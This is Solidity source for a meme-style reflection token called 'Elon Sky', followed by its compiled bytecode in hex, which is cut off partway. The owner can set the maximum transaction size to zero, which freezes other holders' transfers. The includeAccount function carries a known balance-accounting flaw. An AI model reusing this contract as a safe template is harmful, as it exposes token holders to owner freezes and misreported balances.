behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ElonSky is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Elon Sky'; string private _symbol = 'ElonSky'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 1000000000 * 10**6 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e9961461063b578063d543dbeb14610695578063dd62ed3e146106c3578063f2cc0c181461073b578063f2fde38b1461077f578063f84354f1146107c35761014d565b8063715018a6146104945780637d1db4a51461049e5780638da5cb5b146104bc57806395d89b41146104f0578063a457c2d714610573578063a9059cbb146105d75761014d565b806323b872dd1161011557806323b872dd146102a35780632d83811914610327578063313ce56714610369578063395093511461038a5780634549b039146103ee57806370a082311461043c5761014d565b8063053ab1821461015257806306fdde0314610180578063095ea7b31461020357806313114a9d1461026757806318160ddd14610285575b600080fd5b61017e6004803603602081101561016857600080fd5b8101908080359060200190929190505050610807565b005b610188610997565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024f6004803603604081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a39565b60405180821515815260200191505060405180910390f35b61026f610a57565b6040518082815260200191505060405180910390f35b61028d610a61565b6040518082815260200191505060405180910390f35b61030f600480360360608110156102b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a72565b60405180821515815260200191505060405180910390f35b6103536004803603602081101561033d57600080fd5b8101908080359060200190929190505050610b4b565b6040518082815260200191505060405180910390f35b610371610bcf565b604051808260ff16815260200191505060405180910390f35b6103d6600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610be6565b60405180821515815260200191505060405180910390f35b6104266004803603604081101561040457600080fd5b8101908080359060200190929190803515159060200190929190505050610c99565b6040518082815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d55565b6040518082815260200191505060405180910390f35b61049c610e40565b005b6104a6610fc6565b6040518082815260200191505060405180910390f35b6104c4610fcc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f8610ff5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053857808201518184015260208101905061051d565b50505050905090810190601f1680156105655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105bf6004803603604081101561058957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611097565b60405180821515815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611164565b60405180821515815260200191505060405180910390f35b61067d6004803603602081101561065157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611182565b60405180821515815260200191505060405180910390f35b6106c1600480360360208110156106ab57600080fd5b81019080803590602001909291905050506111d8565b005b610725600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d8565b6040518082815260200191505060405180910390f35b61077d6004803603602081101561075157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061135f565b005b6107c16004803603602081101561079557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611679565b005b610805600480360360208110156107d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611884565b005b6000610811611c0e565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613544602c913960400191505060405180910390fd5b60006108c183611c16565b50505050905061091981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097181600654611c6e90919063ffffffff16565b60068190555061098c83600754611cb890919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a2f5780601f10610a0457610100808354040283529160200191610a2f565b820191906000526020600020905b815481529060010190602001808311610a1257829003601f168201915b5050505050905090565b6000610a4d610a46611c0e565b8484611d40565b6001905092915050565b6000600754905090565b600068056bc75e2d63100000905090565b6000610a7f848484611f37565b610b4084610a8b611c0e565b610b3b856040518060600160405280602881526020016134aa60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610af1611c0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124679092919063ffffffff16565b611d40565b600190509392505050565b6000600654821115610ba8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806133ef602a913960400191505060405180910390fd5b6000610bb2612527565b9050610bc7818461255290919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c8f610bf3611c0e565b84610c8a8560036000610c04611c0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b611d40565b6001905092915050565b600068056bc75e2d63100000831115610d1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610d39576000610d2a84611c16565b50505050905080915050610d4f565b6000610d4484611c16565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610df057600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610e3b565b610e38600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4b565b90505b919050565b610e48611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561108d5780601f106110625761010080835404028352916020019161108d565b820191906000526020600020905b81548152906001019060200180831161107057829003601f168201915b5050505050905090565b600061115a6110a4611c0e565b846111558560405180606001604052806025815260200161357060259139600360006110ce611c0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124679092919063ffffffff16565b611d40565b6001905092915050565b6000611178611171611c0e565b8484611f37565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111e0611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112cf60646112c18368056bc75e2d6310000061259c90919063ffffffff16565b61255290919063ffffffff16565b600b8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611367611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115bb57611577600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4b565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611681611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611741576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806134196026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61188c611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461194c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611a0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611c0a578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611a3f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611bfd57600560016005805490500381548110611a9b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611ad357fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611bc357fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611c0a565b8080600101915050611a0e565b5050565b600033905090565b6000806000806000806000611c2a88612622565b915091506000611c38612527565b90506000806000611c4a8c8686612674565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611cb083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612467565b905092915050565b600080828401905083811015611d36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806135206024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808